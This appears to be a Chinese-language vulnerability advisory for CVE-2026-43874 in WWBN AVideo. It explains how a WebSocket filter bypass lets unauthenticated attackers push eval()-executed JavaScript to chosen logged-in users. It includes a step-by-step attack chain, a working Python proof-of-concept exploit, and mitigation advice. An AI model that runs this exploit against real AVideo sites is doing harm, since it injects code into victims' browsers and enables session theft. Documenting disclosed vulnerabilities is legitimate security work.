IPBUF安全漏洞报告
English
CVE-2026-43874 CVSS 7.2 高危

CVE-2026-43874: WWBN AVideo WebSocket 代码执行漏洞绕过

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43874
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

RCEWebSocketAVideoCode InjectionBypassCVE-2026-43874

漏洞概述

WWBN AVideo 是一个广泛使用的开源视频平台。在 29.0 及其之前的版本中,发现了一个严重的安全漏洞。该漏洞源于系统之前针对 CVE-2026-40911 的服务器端缓解措施存在逻辑缺陷。原修复方案仅尝试剥离位于 $json['msg'] 路径下的恶意载荷,然而中继函数 msgToResourceId() 在处理消息时,优先从 $msg['json'] 路径读取内容。这一逻辑差异使得未经过滤的恶意代码能够绕过安全检查。攻击者无需认证即可利用此漏洞,通过 WebSocket 向已登录用户发送包含恶意 JavaScript 的消息,导致受害者的浏览器执行任意代码。

技术细节

该漏洞技术细节涉及 AVideo 平台中 YPTSocket 插件的消息处理机制。为了修复 CVE-2026-40911 中披露的 eval 代码注入风险,开发者添加了过滤逻辑,专门检查并清除 $json['msg'] 中的 autoEvalCodeOnHTML 参数。然而,在处理 WebSocket 消息的中继函数 msgToResourceId() 中,代码逻辑是先检查 $msg['json'] 数组,如果该数组存在且包含有效数据,则直接使用该数据作为出站消息,而不再检查 $msg['msg']。这就导致了过滤机制的旁路。攻击流程如下:首先,攻击者访问 plugin/YPTSocket/getWebSocket.json.php 获取 WebSocket 连接令牌,该过程无需身份验证。接着,攻击者连接到 WebSocket 服务器,并构造一个特制的 JSON 消息。攻击者将恶意的 autoEvalCodeOnHTML 载荷放置在顶层的 json 字段中,而不是 msg 字段。当服务器处理此消息时,由于 $msg['json'] 存在,过滤逻辑被跳过,载荷被原样转发给由 to_users_id 指定的目标在线用户。最后,受害者的客户端脚本接收到消息后,会调用 eval() 函数执行载荷。由于攻击者可以指定受害者,这可能导致针对性的攻击,如窃取 Session 或执行恶意操作。该漏洞的 CVSS 3.1 评分为 7.2,属于高危漏洞,且攻击复杂度低,无需用户交互。

攻击链分析

STEP 1
1. 获取令牌
攻击者访问 plugin/YPTSocket/getWebSocket.json.php 获取 WebSocket 连接令牌,无需身份验证。
STEP 2
2. 建立连接
攻击者使用获取的令牌连接到 AVideo 的 WebSocket 服务器。
STEP 3
3. 构造载荷
攻击者构造 JSON 消息,将恶意代码 autoEvalCodeOnHTML 放置于顶层 json 字段中,而非 msg 字段。
STEP 4
4. 绕过过滤
服务器端 msgToResourceId() 函数优先读取 $msg['json'],从而绕过了针对 $msg['msg'] 的安全过滤。
STEP 5
5. 执行代码
恶意载荷被发送给目标用户(由 to_users_id 指定),受害者客户端接收并执行 eval(),导致代码运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import requests import json # Target configuration TARGET_URL = "http://localhost/AVideo" TARGET_USER_ID = 1 # ID of the victim user async def exploit(): # Step 1: Get WebSocket Token print("[*] Fetching WebSocket token...") token_url = f"{TARGET_URL}/plugin/YPTSocket/getWebSocket.json.php" try: resp = requests.get(token_url) token_data = resp.json() ws_token = token_data.get('token') print(f"[+] Token obtained: {ws_token}") except Exception as e: print(f"[-] Failed to get token: {e}") return # Step 2: Connect to WebSocket # Note: Default WS port might be different, usually 8080 or similar depending on config ws_uri = f"ws://localhost:8080/?token={ws_token}" print(f"[*] Connecting to {ws_uri}...") try: async with websockets.connect(ws_uri) as websocket: print("[+] Connected.") # Step 3: Construct Bypass Payload # The vulnerability lies in checking $msg['json'] before $msg['msg']. # We put the payload in 'json' to bypass the strip logic. payload = { "json": { "autoEvalCodeOnHTML": "alert('CVE-2026-43874 RCE Bypass');" }, "to_users_id": TARGET_USER_ID, "msg": "safe_message" # This field would be stripped, but ignored } print(f"[*] Sending payload: {json.dumps(payload)}") await websocket.send(json.dumps(payload)) print("[+] Payload sent. Check victim's browser console.") # Keep connection open briefly to ensure delivery await asyncio.sleep(2) except Exception as e: print(f"[-] WebSocket error: {e}") if __name__ == "__main__": asyncio.run(exploit())

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
由于该漏洞允许未认证攻击者向已登录用户注入任意代码,影响范围较大。建议管理员立即检查系统版本,并应用官方提供的补丁。如果无法立即更新,应严格限制 WebSocket 服务的访问权限,或禁用相关插件功能,直到完成升级。

参考链接